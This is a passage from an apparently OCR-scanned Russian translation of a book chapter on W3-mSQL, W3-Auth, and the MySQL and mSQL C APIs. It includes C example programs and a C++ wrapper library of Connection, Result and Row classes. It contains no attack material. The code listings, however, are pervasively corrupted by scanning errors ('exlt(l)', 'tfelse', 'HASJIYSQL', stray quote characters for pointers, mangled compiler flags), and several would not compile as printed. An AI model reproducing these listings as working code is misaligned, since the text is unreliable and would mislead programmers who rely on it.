    echo("Error : " . Msql->errmsg . "\n");

    exlt(l);

    }

    Snumresults = $result->numrows;

    -]



    [$if (! Snumresults ) $]

    <Н2>Результатов не найдено [SelseS]

    [Swhile (%shark = $Msql->fetchhash($result)) $]





  • <В>Вид: [+$shark{'species'}+]

    <В>Возраст: [+$age{$shark{'age'}}+]

    <В>Район [+$shark{'location'}+]


    [;endwhile$] [;endif]

    Hoвый поиск



    W3-mSQL

    W3-mSQL является, в сущности, одной программой CGI, называющейся w3-msql. Программа фильтрует страницы HTML со встроенными командами W3-mSQL и посылает клиенту очищенный результирующий HTML. Команды W3-mSQL пишутся на специальном языке программирования, называемом Lite. Lite во многом схож с Perl и С, но разработан специально для взаимодействия с базами данных mSQL. Краткий справочник по функциям Lite есть в конце главы 18 "Справочник по PHP Lite". Для осуществления этого к URL для w3-msql добавляется путь к HTML-файлу, с расширениями W3-mSQL, например, http://www.me.com/cgi-bin/w3-msql/~me/mypage.html.

    Содержимое HTML-файла внутри тега интерпретируется как команды Lite. Например, эквивалент программы "Hello world!" на Lite выглядит так:

    Hello world!




    echo("Hello world!");
    >


    Все, что не находится внутри тегов , остается чистым HTML.

    mSQL автоматически устанавливает программу w3-msql, и вам остается только поместить ее в свой каталог cgi-bin.

    W3-Auth

    W3-Auth является механизмом, обеспечивающим защиту страниц, управляемых W3-mSQL. Он включается вместе с W3-mSQL и устанавливается автоматически с mSQL. С помощью W3-Auth можно создать иерархию пользователей и групп, которым разрешено использовать различные страницы с расширениями W3-mSQL.

    W3-Auth использует три различных уровня доступа: пользователь, группа и область. Пользователь отдельное имя, обычно относящееся к отдельному лицу, примерно как имя пользователя в Unix. Груп па является собранием пользователей. Область является разделом веб-сайта, который вы хотите защитить.

    Такая схема особенно полезна для сайтов со многими виртуальными узлами на одном веб-сервере. Допустим, например, что на вашем компьютере расположены виртуальные серверы с именами serverl, ser-ver2 и server3. Каждое из этих различных имен администрируется различными группами людей. Вы можете создать три разные области, охватывающие эти три сайта, и тогда члены каждой группы будут в состоянии управлять доступом к своей странице с расширениями W3-mSQL, но не смогут вмешаться в управление другими сайтами.


    Установка

    Обе программы, W3-mSQL и W3-Auth, компилируются и устанавливаются автоматически, вместе с дистрибутивом mSQL. После установки они находятся в MSQL_HOME/bin, где MSOL_HOME есть местонахождение файлов mSQL - по умолчанию /usr/local/Hughes. Исполняемые файлы w3-msql и w3-auth нужно скопировать в каталог cgi-bin вашего сервера или эквивалентный ему.

    После установки W3-Auth предполагает, что она сама и программа w3-msql находятся в каталоге cgi-bin вашего сайта. Если вы хотите поместить эти программы в другой каталог, нужно вручную изменить исходный код перед установкой mSQL. С помощью Perl это можно сделать следующим образом. Находясь в каталоге src/w3-msql дистрибутива mSQL, введите: perl -pi -e 's/cgi-bin/yourcgidirectory/g' *.c. Другой возможностью сделать то же самое является использование такого сценария:

    #!/bin/sh

    # Запустите это из каталога src/w3-msql своего дистрибутива с исходным кодом mSQL.

    for file in 'Is *.c'; do

    sed -e "s/cgi-bin/$1/" $file > $file.tmp

    mv $file.tmp $file

    done

    Скопируйте этот сценарий в ваш каталог src/w3-msql и введите следующую команду:

    ./scriptname yourcgidirectory

    Здесь scriptname является именем сценария, a yourcgidirectory - именем каталога, который будет содержать исполняемые файлы w3-msql и w3-auth.

    W3-Auth в настоящее время не совместим с распространяемой версией веб-сервера Apache из-за одной небольшой особенности системы безопасности Apache. Apache не позволяет программам CGI иметь доступ к данным авторизации. Без этой возможности ни одна CGI-программа, включая W3-Auth, не может выводить пользователю стандартное окно для ввода имени пользователя/пароля и получать из него результаты. Ввиду важности Apache для сообщества пользователей mSQL, был быстро выпущен патч, позволяющий W3-Auth работать вместе с Apache. После его установки необходимо перекомпилировать Apache. Заметьте, что установка данного патча позволяет любым CGI-програм-мам получать имя пользователя и пароль у посетителей сайта. Если вы доверяете тем, кто имеет доступ к CGI-программам на вашей машине, то подобный метод относительно безопасен.

    Два API

    Используете ли вы С или C++, С API для MySQL и mSQL являются шлюзами к базе данных. Однако их применение может очень различаться в зависимости от того, используете ли вы С или объектно-ориентированные возможности C++. К программированию баз данных на С нужно подходить в последовательном стиле, когда вы пошагово просматриваете свое приложение, чтобы определить, где производятся обращения к базе данных, а где необходимо произвести освобождение ресурсов. Напротив, объектно-ориентированный C++ требует объектно-ориентированного интерфейса к выбранному вами API. Тогда объекты этого API могут взять на себя ответственность за управление ресурсами базы данных.

    В таблице 13-1 сопоставлены вызовы функций каждого API. Детали использования этих функций мы рассмотрим позднее в этой главе. Сейчас вы можете лишь бегло сравнить оба API и отметить, какие возможности они предоставляют. Разумеется, в справочном разделе перечислены все эти методы с подробным описанием прототипов, возвращаемых значений и комментариями.

    Таблица 13-1. С API для MySQL и mSQL

  • $i







    MySQL


    mSQL


    mysql_affected_rows()


    CM. msqlQuery()


    mysql_close()


    msqlClose()


    mysql_connect()


    msqlConnect()


    myql_create_db()





    mysql_data_seek()


    msqlDataSeek()


    mysql_drop_db()





    mysql_eof()





    mysql_error()





    mysql_fetch_field()


    msqlFetchField()


    mysql fetch lengths()





    mysql_fetch_row()


    msqlFetchRow()


    mysql_field_count()





    mysql_field_seek()


    msqlFieldSeek()


    mysql_free_result()


    msqlFreeResult()


    mysql_get_client_info()





    mysql get host_info()





    mysql_get_proto_info()





    mysql_get_server_info()





    mysql_init()





    mysql_insert_id()





    mysql_list_dbs( )


    msqlListDBs()


    mysql_list_fields()


    msqlListFields()





    msqlListIndex()


    mysql_list_processes()





    mysql_list_tables()


    msqlListTables()


    mysql_num_fields()


    msqlNumFields()


    mysql_num_rows()


    msqlNumRows()


    mysql_query()


    msqlQuery()

    <


    mysql_real_query()







    mysql_reload()







    mysql_select_db()



    msqlSelectDB()



    mysql_shutdown()







    mysql_stat()







    mysql_store_result()



    msqiStoreResult()



    mysql_use_result()





    API для MySQL значительно обширнее, чем API для mSQL, ввиду большего числа функций в MySQL. Во многих случаях MySQL фактически только обеспечивает программный интерфейс к функциям администрирования баз данных, которые имеются в той и другой СУБД. Просто изучив названия функций, можно прийти к выводу, что любое разрабатываемое вами приложение баз данных должно, как минимум, делать следующее:

  • Осуществлять соединение.

  • Выбирать БД.

  • Посылать запрос.

  • Получать строку.

  • Получать поле.

  • Закрываться.

    В примере 13-1 показана простая команда select, извлекающая данные из базы данных MySQL с помощью MySQL С API.

    Пример 13-1. Простая программа, извлекающая все данные из тестовой базы и отображающая их

    #include

    #include

    #include

    int main(char **args) {

    MYSQL_RES 'result;

    MYSQL_ROW row;

    MYSQL 'connection, mysql;

    int state;

    /* соединиться с базой данных mySQL на athens.imaginary.com */

    mysql_init(&mysql);

    connection = mysql_real_connect(&mysql,

    "alMens.imaginary.com",

    0, 0,

    "db_test", 0, 0);

    /* проверить ошибки соединения */

    if( connection == NULL ) {

    /* вывести сообщение об ошибке */

    printf(mysql_error(&mysql));

    return 1;

    }

    state = mysql_query(connection,

    "SELECT test_id, test_val FROM test");

    if( state != 0 ) {

    printf(mysql_error(connection));

    return 1; }

    /* прежде чем делать другие вызовы,

    * необходимо вызвать mysql_store_result()

    */

    result = mysql_store_result(connection);

    printf("Строк: %d\n", mysql_num_rows(result));

    /* обработать каждую строку результирующего набора */

    while( ( row = mysql_fetch_row(result)) != NULL )

    {

    printf("id: %s, значение: %s\n", (row[0] ? row[0] : "NULL"), (row[1] ? row[1] : "NULL")); }


    /* освободить ресурсы, использовавшиеся результирующим набором */

    mysql_free_result(result); /* закрыть соединение */

    mysql_close(connection);

    printf("Koнец, работы.\n");

    }

    Назначение файлов mysql.h и stdio.h, включаемых директивой ftinclude, должно быть очевидно. Файл заголовков mysql.h содержит прототипы и переменные, необходимые для MySQL, a stdio.h содержит прототип для printf (). Файл заголовков sys/time.h приложением фактически не используется. Он нужен из-за mysql.h, так как файл для MySQL использует определения из sys/time.h, не включая их. Для компиляции программы с помощью компилятора GNU С используйте командную строку:

    gcc -L/usr/local/mysql/lib -I/usr/local/mysql/include -о select

    select.c\

    -Imysql -Insl -Isocket

    Разумеется, в этой строке вместо /usr/local/mysql нужно задать тот каталог, в который вы установили MySQL.

    Функция main() выполняет те шаги, которые мы перечислили раньше: соединяется с сервером, выбирает базу данных, выдает запрос, обрабатывает его результаты и освобождает использованные ресурсы. По ходу главы мы подробно остановимся на каждом из этих этапов. Сейчас посмотрите на этот код, лишь для того чтобы почувствовать, как он работает. Кроме того, сравните этот пример с той же программой, написанной для mSQL, которая представлена в примере 13-2.*

    Пример 13-2. Простое приложение выборки данных для mSQL

    #include

    #include

    #include

    int main(char **args) {

    int connection, state;

    m_result *result;

    m_row row;

    /* соединиться с базой данных mSOL на athens.imaginary.com */

    state = msqlConnect("athens.imaginary.com");

    /* проверить ошибки соединения */

    if( state == -1 )

    {

    /* вывести сообщение об ошибке, хранящееся в MsqlErrMsg */

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    /* описателем соединения является значение, возвращаемое msqlConnect() */

    connection = state; }

    /* выбрать используемую базу данных */

    state = msqlSelectDB(connection, "db_test");


    /* опять-таки, -1 указывает на ошибку */

    if( state == -1 )

    {

    printf(msqlErrMsg);

    /* закрыть соединение перед выходом */

    msqlClose(connection);

    return 1; }

    state = msqlQuery(connection, "SELECT test_id, test_val FROM test");

    if( state == -1 )

    {

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    printf("Строк: %d\n", state);

    }

    /* прежде чем делать новый вызов Query(),

    * необходимо вызвать msqlStoreResult()

    */

    result = msqlStoreResult();

    /* обработать каждую строку результирующего набора */

    while( ( row = msqlFetchRow(result)) != NULL )

    {

    printf("id: %s, значение: %s\n",

    (row[0] ? row[0] : "NULL"),

    (row[1] ? row[1] : "NULL"));

    }

    /* освободить ресурсы, использовавшиеся результирующим набором */

    msqlFreeResult(result); /* закрыть соединение */

    msqlClose(connect ion);

    printf("Конец работы.\n"); }

    Эти программы почти идентичны. Кроме разных имен функций, есть лишь несколько заметных отличий. Сильнее всего бросается в глаза различие в соединении с базой данных, которое проявляется в двух отношениях:

  • В MySQL соединение осуществляется за один шаг, а в mSQL - за два.*

  • Для MySQL требуются имя пользователя и пароль, а для mSQL -нет.

    Как указывалось ранее в этой книге, MySQL поддерживает сложную схему авторизации с именами пользователей и паролями. Напротив, в mSQL применяется простая система, использующая ID пользователя процесса, соединяющегося с базой данных. Более надежная схема MySQL гораздо привлекательнее в среде клиент/сервер, но также и значительно более сложна в администрировании. Для разработчиков приложений она означает необходимость передачи в вызове mysql_real_connect() имени пользователя и пароля при работе с MySQL помимо имени сервера, используемого в mSQL.

    Первый аргумент API для установления соединения с MySQL может показаться необычным. По сути, это способ отслеживать все вызовы, иначе никак не связанные с соединением. Например, если вы пытаетесь установить соединение, и попытка неудачна, вам нужно получить сообщение о соответствующей ошибке. Однако функция MySQL


    mysql_error() требует задания указателя на действующее соединение с базой данных MySQL. Такое соединение обеспечивается изначально созданным нулевым соединением. Однако у вас должна быть действующая ссылка на это значение в течение всего времени существования вашего приложения - вопрос большой важности в более структурированной среде, чем простое приложение вида "соединился, сделал запрос, закрылся". Примеры на C++ далее в этой главе подробнее рассматривают эту тему.

    Два другие различия в API относятся к тому, как производятся обработка ошибок и подсчет числа записей в результирующем наборе. API mSQL создает глобальную переменную для хранения сообщений об ошибках. Из-за многопоточности MySQL такая глобальная переменная не смогла бы действовать в его API. Поэтому в нем используется функция mysql_error() для извлечения сообщений об ошибках, связанных с последней ошибкой, порожденной указанным соединением.

    API для соединения и обработки ошибок - два пункта, в которых MySQL отличается от mSQL для обеспечения функциональности, отсутствующей в mSQL. Подсчет числа результирующих записей в mSQL делается иным способом для обеспечения лучшего интерфейса, нежели предоставляемый MySQL. А именно: при посылке SQL-запроса в msqlQuery() возвращается число задействованных строк (или -1 в случае ошибки). Таким образом, подсчет измененных строк при обновлении и строк в возвращаемом результирующем наборе при запросе используют одну и ту же парадигму. В MySQL же приходится использовать различные парадигмы. При запросе на получение данных нужно передать результирующий набор функции mysql_nuoi_rows() , чтобы получить число строк в результирующем наборе. При обновлении нужно вызвать другую функцию API, mysql_affected_rows() . В то время как msqlQuery() возвращает число строк, удовлетворивших предложению WHERE при обновлении, mysql_affected_rows() сообщает о числе фактически измененных строк. И наконец, в mSQL есть метод msqlNumRows() , обеспечивающий тот же интерфейс для подсчета результирующего набора, что и в MySQL, но в нем нет аналога для mysql_affected_rows() .



    В этой книге мы рассматриваем

    С и C++

    В этой книге мы рассматриваем несколько разных языков программирования: Python, Java, Perl и С. Из этих языков больше всего трудностей вызывают C/C++. В других языках ваша задача состоит в формировании запроса SQL, передаче этого запроса посредством вызова функции и обработке результирующих данных. В С добавляется очень сложная проблема управления памятью.

    Как MySQL, так и mSQL предоставляют С-библиотеки, позволяющие создавать приложения для работы с базами данных MySQL и mSQL. В действительности API MySQL ведет свое происхождение от mSQL, благодаря чему опыт программирования в одном API позволяет легко перейти к другому. Однако, как мы видели в первой части, MySQL значительно богаче функциями, чем mSQL. Естественно, эти дополнительные функции приводят к некоторым различиям между двумя API. В данной главе мы исследуем эти различия и разберем детали каждого API при создании объектно-ориентированного C++ API, который можно условно компилировать для работы с каждым из двух API.



    Объектно-ориентированный доступ к базам данных на C++

    С API прекрасно работают в процедурном программировании на С. Однако они не очень хорошо вписываются в объектно-ориентированную среду C++. Чтобы показать, как реально использовать в программе эти два API, в оставшейся части главы мы создадим с их помощью C++ API для объектно-ориентированного программирования баз данных.

    Объектно-ориентированный доступ к базам данных на C++
    Рис. 13-1. Библиотека объектно-ориенитрованного доступа к базе данных

    Поскольку мы занимаемся освещением доступа к базам данных MySQL и mSQL, то сосредоточимся на специфичных для MySQL и mSQL темах и не будем пытаться создать совершенный общий C++ API. Работу с MySQL и mSQL описывают три главных понятия: соединение, результирующий набор и строки результирующего набора. Мы будем использовать эти понятия как ядро объектной модели, на которой будет основываться наша библиотека. Рис. 13-1 показывает эти объекты на UML-диаграмме.*

    Соединение с базой данных

    В любой среде доступ к базе данных начинается с соединения. Как вы видели в первых двух примерах, MySQL и mSQL по-разному представляют одно и то же понятие - соединение с базой данных. Создание нашей объектно-ориентированной библиотеки мы начнем с абстрагирования от этого понятия и создания объекта Connection . Объект Connection должен уметь устанавливать соединение с сервером, выбирать нужную базу данных, посылать запросы и возвращать результаты. Пример 13-3 показывает заголовочный файл, в котором объявлен интерфейс к объекту Connection.

    UML - это новый Унифицированный язык моделирования, созданный Гради Бучем, Айваром Якобсоном и Джеймсом Рамбо (Grady Booch, Ivar Jacobson, James Rumbaugh) в качестве нового стандарта для документирования объектно-ориентированного проектирования и анализа.

    Пример 13-3. Заголовок класса Connection

    #ifndef l_connection_h
    #define l_connection_h

    #include

    #if defined(HAS_MSQL)
    #include
    #lelif defined(HAS_MYSQL)
    #include
    #endif

    #include "result.h"

    class Connection { private:

    int affected_rows;

    #if defined(HAS_MSQL)

    int connection;

    #elif defined(HAS_MYSQL)

    MYSQL mysql;

    MYSQL 'connection; tfelse

    #error База данных не определена,

    #endif

    public:

    Connection(char *, char *);

    Connection(char *, char *, char *, char *);

    ~Connection();

    void Close();

    void Connect(char 'host, char *db, char *uid, char *pw);

    int GetAffectedRows();

    char. *GetError();

    int IsConnected();

    Result *Query(char *);

    };

    #endif // l_connection_h

    Методы, которые предоставляет класс Connection, одинаковы вне зависимости от используемой СУБД. Однако спрятанными в глубине класса окажутся закрытые члены, специфичные для той библиотеки, с которой он будет компилироваться. При установлении соединения единственными различными данными-членами станут те, которые представляют соединение с базой данных. Как отмечалось, mSQL для представления соединения использует величину типа int, a MySQL использует указатель на MYSQL и дополнительную величину типа MYSQL для установления соединения.

    Установление соединения с базой данных

    Всем приложениям, которые мы будем создавать с использованием этого API, для соединения с базой данных потребуется только создать новый экземпляр класса Connection с помощью одного из его конструкторов. Аналогично, приложение может отсоединиться, уничтожив экземпляр Connection . Оно может даже повторно использовать экземпляр Connection с помощью прямых обращений к методам Close() и Соnnect(). Пример 13-4 показывает реализацию конструкторов и метода Connect().

    Пример 13-4. Соединение с MySQL и mSQL в классе Connection

    #include "connection.h"

    Connection::Connection(char *host, char *db) {

    #if defined(HAS_MSQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;

    #else

    #error Het соединения с базой данных,

    #endif

    Connect(host, db, (char *)NULL, (char *)NULL); }

    Connection::Connection(char 'host, char *db, char *uid, char *pw) {

    #if defined(HASJISQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных,

    #endif

    Connect(host, db, uid, pw);

    }

    void Connection: :Connect(char'host, char *db, char *uid, char *pw)

    {

    int state;

    if( IsConnected() )

    {

    throw "Соединение уже установлено.";

    }

    #if defined(HAS_MSQL)

    connection = msqlConnect(host);

    state = msqlSelectDB(connection, db);

    #elif defined (HAS.MYSQL) mysql_init(&mysql);

    connection = mysql_real_connect(&mysql, host,

    uid, pw,

    db, 0, 0); #else

    #error Нет соединения с базой данных.

    #endif

    if( !IsConnected() )

    {

    throw GetError();

    }

    if( state < 0 )

    {

    throw GetError();

    }

    }

    Оба конструктора разработаны с учетом различия параметров, требуемых для соединений MySQL и mSQL. Тем не менее эти API должны разрешать обоим конструкторам работать с каждой из баз данных. Это достигается игнорированием ID пользователя и пароля при вызове конструктора с четырьмя аргументами. Аналогично при вызове конструктора с двумя аргументами, серверу MySQL в качестве значений ID пользователя и пароля передаются значения null. Фактическое соединение с базой данных происходит в методе Connect ().

    Метод Connect() инкапсулирует все шаги, необходимые для соединения. Для MySQL он вызывает метод mysql_real_connect() . Для mSQL жe сначала вызывается метод msqlConnect(), а затем msqlSelectDB() . При неудаче на любом из этапов Connect() возбуждает исключительную ситуацию.

    Отсоединение от базы данных

    Другой логической функцией класса Connection является отсоединение от базы данных и освобождение скрытых от приложения ресурсов. Эту функцию осуществляет метод Close (). В примере 13-5 показано, как происходит отсоединение от MySQL и mSQL.

    Пример 13-5. Освобождение ресурсов базы данных

    Connection::"Connection() {

    if( IsConnected() ) {

    Close();

    } }

    void Connection::Close() {

    if( !IsConnected() )

    {

    return;

    }

    #if defined(HAS_MSQL)

    msqlClose(connection);

    connection = -1;

    #elif defined(HAS_MYSQL)

    mysql_close(connection);

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных, tfendif }

    Методы mysql_close() и msqlClose() освобождают ресурсы, используемые соединениями с MySQL и mSQL соответственно.

    Выполнение обращений к базе данных

    В промежутке между открытием соединения и закрытием базе данных обычно посылаются команды. Класс Connection делает это с помощью метода Query(), принимающего команду SQL в качестве аргумента. Если команда является запросом, она возвращает экземпляр класса Result из объектной модели, представленной на рио. 13-1. Если же команда обновляет данные, то метод возвращает NULL и устанавливает значение affected_rows равным количеству строк, в которых произведены изменения. В примере 13-6 показано, как класс Connection обрабатывает запросы к базам данных MySQL и mSQL.

    Пример 13-6. Обработка запроса к базе данных

    Result "Connection::Query(char *sql) { T_RESULT *res; int state;

    // Если нет соединения, делать нечего

    if( !lsConnected(-) ) { throw "Соединения нет.";

    }

    // Выполнить запрос

    #if defined(HAS_MSQL)

    state = msqlQuery(connection, sql);

    #elif defined(HAS_MYSQL)

    state = mysql_query(connection, sql);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если произошла ошибка

    if( state < 0 ) { throw GetError();

    }

    // Забрать результаты, если таковые имеются

    #if defined(HAS_MSQL)

    res = msqlStoreResult();

    #elif defined(HAS_MYSQL)

    res = mysql_store_result(connection);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если результат null, это было обновление или произошла ошибка

    // Примечание: mSQL не порождает ошибки в msqlStoreResult()

    if( res == (T_RESULT *)NULL ) {

    // Установить значение affected_rows равным возвращенному msqlQuery()

    #if defined(HAS_MSQL)

    affected_rows = state;

    #elif defined(HAS_MYSQL)

    // field_count != 0 означает, что произошла ошибка

    int field_count = mysql_num_fields(connection);

    if( field_count != 0 )

    {

    throw GetError();

    }

    else

    {

    // Запомнить affected_rows

    affected_rows = mysql_affected_rows(connection); }


    #else

    #error Нет соединения с базой данных,

    #endif

    //Возвратить NULL в случае обновления

    return (Result *)NULL; }

    // Для запроса возвратить экземпляр Result

    return new Result(res); }

    В начале обращения к базе данных делается вызов метода mysql_query() или msqlQuery() с передачей ему команды SQL, которую нужно выполнить. В случае ошибки оба API возвращают отличное от нуля значение. На следующем этапе вызываются mysql_store_result() или msqlStoreResult() , чтобы проверить, получены ли результаты, и сделать эти результаты доступными приложению. В этом месте две СУБД несколько отличаются в деталях обработки.

    В mSQL API метод msqlStoreResult() не генерирует ошибки. Эту функцию приложение использует для того, чтобы поместить полученный результирующий набор в хранилище, управлять которым будет приложение, а не mSQL API. Иными словами, при вызове msqlQuery() результаты запоминаются во временной области памяти, управляемой API. Последующие вызовы msqlQuery() затирают эту область памяти. Чтобы сохранить результат в области памяти вашего приложения, нужно вызвать msqlStoreResult() .

    Поскольку метод msqlStoreResult() не генерирует ошибку, при его вызове нужно рассматривать две возможности. Если обращение к базе данных было запросом, создавшим результирующий набор, то msqlStoreResult() возвращает указатель на структуру m_result, с которой может работать ваше приложение. При всех других типах обращения (обновление, вставка, удаление или создание) msqlStoreResult() возвращает NULL. Узнать количество строк, обработанных неизвлекающим данные запросом, можно из значения, возвращенного исходным вызовом msqlQuery() .

    Подобно msqlStoreResult() , метод mysql_store_result() используется для запоминания данных, возвращенных запросом, в области памяти приложения, но, в отличие от версии для mSQL, необходимо создать для mysql_store_result() некий обработчик ошибок. Именно, значение NULL, возвращенное mysql_store_result() , может означать и то, что запрос не предполагал возвращение результирующего набора, и ошибку при получении последнего. Вызов метода mysql__num_f ields() позволит определить истинную причину. Отличное от 0 значение счетчика полей свидетельствует о происшедшей ошибке. Число измененных строк можно определить при обращении к методу mysql_affected_rows() .*


    Другие методы класса Connection

    По всему классу Connection разбросаны два вспомогательных метода, IsConnected() и GetError(). Проверить состояния соединения просто — достаточно посмотреть значение атрибута connection. Оно должно быть не NULL для MySQL или отличным от -1 для mSQL. Напротив, сообщения об ошибках требуют некоторых пояснений.

    Извлечение сообщений об ошибках для mSQL просто и безыскусно, нужно лишь использовать значение глобальной переменной msqlErrMsg . Ее значение точно совпадает с тем, что возвращает от mSQL метод GetError(). С MySQL дело обстоит несколько сложнее. При обработке любых сообщений об ошибках необходимо учитывать многопоточность. В многопоточной среде обработка ошибок осуществляется путем получения сообщений об ошибках с помощью функции mysql_error() . В примере 13-7 показаны обработка ошибок для MySQL и mSQL в методе GetError(), а также проверка соединения в методе IsConnected() .

    Пример 13-7. Чтение сообщений об ошибках и другие вспомогательные задачи класса Connection

    int Connection::GetAffectedRows() {

    return affected_rows; }

    char 'Connection::GetError() {

    #if defined(HAS_MSQL)

    return msqlErrMsg:

    #elif defined(HAS_MYSQL)

    if( IsConnected() ) {

    return mysql_error(connection); }

    else {

    return mysql_error(&mysql); }

    #else

    #error Нет соединения с базой данных,

    #endif }

    int Connection::IsConnected() {

    #if defined(HAS_MSQL)

    return !(connection < 0);

    #elif defined(HAS_MYSQL)

    return !(iconnection);

    #else

    #error Нет соединения с базой данных,

    #endif

    )

    Проблемы при обработке ошибок

    Хотя обрабатывать ошибки, как это описано выше, несложно благодаря инкапсуляции обработки в простой вызов API в классе Connection , следует остерегаться некоторых потенциальных проблем. Во-первых, при работе с mSQL обработка ошибок осуществляется глобально в пределах приложения. Если приложение поддерживает несколько соединений, значение msqlErrMsg относится к последней ошибке последнего вызова какой-либо функции mSQL API. Следует также учесть, что хотя mSQL - однопоточное приложение, можно создавать многопоточные приложения, использующие mSQL, но проявлять крайнюю осторожность при извлечении сообщений об ошибках. Именно, необходимо написать собственный API, корректно работающий с потоками поверх mSQL С API, который копирует сообщения об ошибках и связывает их с соответствующими соединениями.


    Обе СУБД управляют и сохраняют сообщения об ошибках внутри своих соответствующих API. Поскольку вы не распоряжаетесь этой деятельностью, может возникнуть другая проблема, связанная с запоминанием сообщений об ошибках. В нашем C++ API обработка ошибок . происходит сразу после их возникновения и до того, как приложение сделает новое обращение к базе данных. Если мы хотим продолжить обработку и лишь позднее заняться ошибками, сообщение об ошибке следует скопировать в область памяти нашего приложения.

    Результирующие наборы

    Класс Result абстрагируется от понятий результатов MySQL и mSQL. Он должен обеспечивать доступ как к данным результирующего набора, так и к сопутствующим этому набору метаданным. Согласно объектной модели на рис. 13-1, наш класс Result будет поддерживать циклический просмотр строк результирующего набора и получение числа строк в нем. Ниже в примере 13-8 приведен заголовочный файл класса Result.

    Пример 13-8. Интерфейс класса Result в result.h

    #ifndef 1_result_h

    #define 1_result_h

    #include

    #if defined(HASJSQL)

    #include

    #elif defined(HAS_MYSQl)

    #include

    #endif

    #include "row.h"

    class Result { private:

    int row_count;

    T_RESULT *result;

    Row *current_row;

    public:

    Result(T_RESULT *);

    ~Result();

    void Close();

    Row *GetCurrentRow();

    int GetRowCount();

    int Next(); };

    #endif // l_result_h

    Перемещение по результатам

    Наш класс Result позволяет работать с результирующим набором построчно. Получив экземпляр класса Result в результате обращения к методу Query() , приложение должно последовательно вызывать Next() и GetCurrentRow(), пока очередной Next() не возвратит 0. Пример 13-9 показывает, как выглядят эти действия для MySQL и mSQL.

    Пример 13-9. Перемещение по результирующему набору

    int Result::Next() { T_ROW row;

    if( result == (T_RESULT *)NULL ) {

    throw "Результирующий набор закрыт.";

    }

    #if defined(HAS_MSQL)

    row = msqlFetchRow(result);

    #elif defined(HAS_MYSQL)


    row = mysql_fetch_row(result);

    #else

    #error Нет соединения с базой данных,

    #endif if( ! row )

    {

    current_row = (Row *)NULL;

    return 0;

    }

    else

    {

    current_row = new Row(result, row);

    return 1;

    }

    }

    Row 'Result::GetCurrentRow()

    {

    if( result == (T_RESULT *)NULL )

    { throw "Результирующий набор закрыт.";

    }

    return current_row; }

    Заголовочный файл row.h в примере 13-11 определяет T_ROW и T_RESULT в зависимости от того, для какого ядра базы данных компилируется приложение. Перемещение к следующей строке в обеих базах данных осуществляется одинаково и просто. Вы вызываете mysql_fetch_row() или msqlFetchRow() . Если вызов возвращает NULL, значит, необработанных строк не осталось.

    В объектно-ориентированной среде это единственный тип навигации, которым вы должны пользоваться. API для базы данных в объектно-ориентированном программировании существует лишь для обеспечения извлечения данных, а не их обработки. Обработка данных должна быть заключена в объектах доменов. Однако не все приложения являются объектно-ориентированными. MySQL и mSQL предоставляют функции, позволяющие перемещаться к определенным строкам в базе данных. Это методы mysql_data_seek() mnsqlDataSeek() соответственно.

    Освобождение ресурсов и подсчет строк

    Приложения баз данных должны освобождать после себя ресурсы. Обсуждая класс Connection, мы отметили, как результирующие наборы, порождаемые запросом, помещаются в память, управляемую приложением. Метод Close() класса Result освобождает память, занятую этим результатом. Пример 13-10 показывает, как освободить ресурсы, занятые результатом, и получить количество строк в нем.

    Пример 13-10. Освобождение ресурсов и подсчет числа строк

    void Result::Close() {

    if( result == (T_RESULT *)NULL ) { return;

    }

    #if defined(HAS_MSQL)

    msqlFreeResult(result);

    #elif defined(HAS_MYSQL)

    mysql_free_result(result);

    #else

    #error Нет соединения с базой данных, ftendif

    result = (TJESULT *)NULL; '

    }

    int Result::GetRowCount()

    {


    if( result == (T_RESULT *)NULL )

    {

    throw "Результирующий набор закрыт.";

    }

    if( row_count > -1 )

    {

    return row_count;

    }

    else

    {

    #if defined(HAS_MSQL)

    row_count = msqlNumRows(result);

    #elif defined(HAS_MYSQL)

    row_count = mysql_num_rows(result);

    #else

    #error Нет соединения с базой данных,

    #endif

    return row_count;

    }

    }

    Строки

    Отдельная строка результирующего набора представляется в нашей объектной модели классом Row. Класс Row позволяет приложению извлекать отдельные поля строки. В примере 13-11 показано объявление класса Row.

    Пример 13-11. Объявление класса Row в row.h

    #ifndef l_row_h

    #define l_row_h

    #include

    #if defined(HAS_MSQL)

    #include

    #define T_RESULT m_result

    #define T_ROW m_row

    #elif defined(HAS_MYSQL)

    #include

    #define T_RESULT MYSQL_RES

    #define T_ROW MYSQL_ROW

    #endif

    class Row { private:

    T_RESULT 'result;

    T_ROW fields;

    public:

    Row(T_RESULT *, T_ROW);

    ~Row();

    char *GetField(int);

    int GetFieldCount();

    int IsClosed();

    void Close();

    };

    #endif // l_row_h

    В обоих API есть макросы для типов данных, представляющие результирующий набор и строку внутри него. В обоих API строка является массивом строк, содержащих данные этой строки, и ничем более. Доступ к этим данным осуществляется по индексу массива в порядке, определяемом запросом. Например, для запроса SELECT user_id , password FROM users индекс 0 указывает на имя пользователя и индекс 1 -на пароль. Наш C++ API делает это индексирование несколько более дружественным для пользователя. GetField(1) возвратит первое поле, или f ields[0]. Пример 13-12 содержит полный листинг исходного кода для класса Row.

    Пример 13-12. Реализация класса Row

    #include

    #include "row.h"

    Row::Row(T_RESULT *res, T_ROW row) {

    fields = row;

    result = res; }

    Row::"Row() {

    if( ! IsClosed() ) {

    Close();

    }

    }

    void Row::Close() {

    if( IsClosed() ) {

    throw "Строка освобождена.";


    }

    fields = (T_ROW)NULL;

    result = (T_RESULT *)NULL;

    }

    int Row::GetFieldCount()

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    } #if defined(HASJISQL)

    return msqlNumFields(result);

    #elif defined(HAS_MYSQL)

    return mysql_num_fields(result);

    #else

    #error Нет соединения с базой данных,

    #endif }

    // При вызове этого метода нужно быть готовым

    // к тому, что может быть возвращен

    NULL, char *Row::GetField(int field)

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    }

    if( field < 1 || field > GetFieldCount() .)

    { throw "Индех лежит вне допустимых значений.";}

    return fields[field-1]; }

    int Row::IsClosed() {

    return (fields == (T_ROW)NULL); }

    Пример приложения, использующего эти классы C++, прилагается к книге.

    Что такое JDBC?

